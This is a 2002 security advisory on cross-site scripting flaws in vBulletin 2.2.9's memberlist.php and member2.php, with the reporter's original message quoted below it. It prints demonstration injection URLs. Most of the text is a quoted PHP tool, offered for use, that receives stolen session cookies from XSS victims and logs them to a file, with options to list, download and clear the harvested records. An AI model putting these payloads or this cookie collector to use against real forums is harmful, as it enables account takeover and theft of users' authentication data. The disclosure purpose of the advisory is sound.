vBulletin Input Validation Flaws in 'memberlist' and 'member2' Allow Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1005685 |
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Nov 23 2002
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
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Exploit Included: Yes
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Version(s): 2.2.9 and prior versions
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Description: Two input validation vulnerabilities were reported in the vBulletin forum software in the 'memberlist.php' and 'member2.php' scripts. A remote user can conduct cross-site scripting attacks against vBulletin users.
A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed
by the target user's browser. The code will originate from the site running the vBulletin and will run in the security context of
that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated
with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as
the target user.
A demonstration exploit URL is provided:
memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=">"<Scr*ipt>javascript:alert(document.cookie)</Scr
*ipt>
In a separate message, it was reported by Sp.IC that another flaw resides in the 'member2.php' script in the 'perpage'
variable. A demonstration exploit URL is provided:
member2.php?s=[Session]&action=viewsubscription&perpage=[Script Code]
Some
demonstration exploit PHP code is provided in the Source Message.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running vBulletin,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.vbulletin.com/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Arab VieruZ <arabviersus@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: 21 Nov 2002 20:34:03 -0000
From: Arab VieruZ <arabviersus@hotmail.com>
Subject: XSS bug in vBulletin
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Vulnerable systems:
* Jelsoft vBulletin 2.2.9 and prior
Exploit:
http://www.vbulletin.com/forum/memberlist.php?
s=23c37cf1af5d2ad05f49361b0407ad9e&what=">"<Scr*ipt>javascript:alert
(document.cookie)</Scr*ipt>
you can use this code (thanx for SP.IC):
<?PHP
// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's cookies and storing it into a
log file.
// Variables:
$LogFile = "Cookies.Log";
// Functions:
/*
If ($HTTP_GET_VARS['Action'] = "Log") {
$Header = "<!--";
$Footer = "--->";
}
Else {
$Header = "";
$Footer = "";
}
Print ($Header);
*/
Print ("<Title>vBulletin XSS Injection Vulnerability:
Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
Print ("Coded By: <B><A
Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">"
);
/*
Print ($Footer);
*/
Switch ($HTTP_GET_VARS['Action']) {
Case "Log":
$Data = $HTTP_GET_VARS['Cookie'];
$Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D, StrLen
(DecHex (MD5 (NULL))))));
$Log = FOpen ($LogFile, "a+");
FWrite ($Log, Trim ($Data) . "\n");
FClose ($Log);
Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"0;
URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
Case "List":
If (!File_Exists ($LogFile) || !In_Array ($Records)) {
Print ("<Br><Br><B>There are No
Records</B></Center></Pre>");
Exit ();
}
Else {
Print ("</Center></Pre>");
$Records = Array_UniQue (File ($LogFile));
Print ("<Pre>");
Print ("<B>.:: Statics</B>\n");
Print ("\n");
Print ("o Logged Records : <B>" . Count
(File ($LogFile)) . "</B>\n");
Print ("o Listed Records : <B>" . Count
($Records) . " </B>[Not Counting Duplicates]\n");
Print ("\n");
Print ("<B>.:: Options</B>\n");
Print ("\n");
If (Count (File ($LogFile)) > 0) {
$Link['Download'] = "[<A Href=\"" .
$LogFile . "\">Download</A>]";
}
Else{
$Link['Download'] = "[No Records in Log]";
}
Print ("o Download Log : " . $Link
['Download'] . "\n");
Print ("o Clear Records : [<A Href=\"" .
$SCRIPT_PATH. "?Action=Delete\">Y</A>]\n");
Print ("\n");
Print ("<B>.:: Records</B>\n");
Print ("\n");
While (List ($Line[0], $Line[1]) = Each ($Records)) {
Print ("<B>" . $Line[0] . ": </B>" . $Line[1
]);
}
}
Print ("</Pre>");
Break;
Case "Delete":
@UnLink ($LogFile);
Print ("<Br><Br><B>Deleted Succsesfuly</B></Center><
/Pre>")
Or Die ("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>"
);
Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"3; URL=" .
$HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
}
?>
-----------------
Arab VieruZ
thanX
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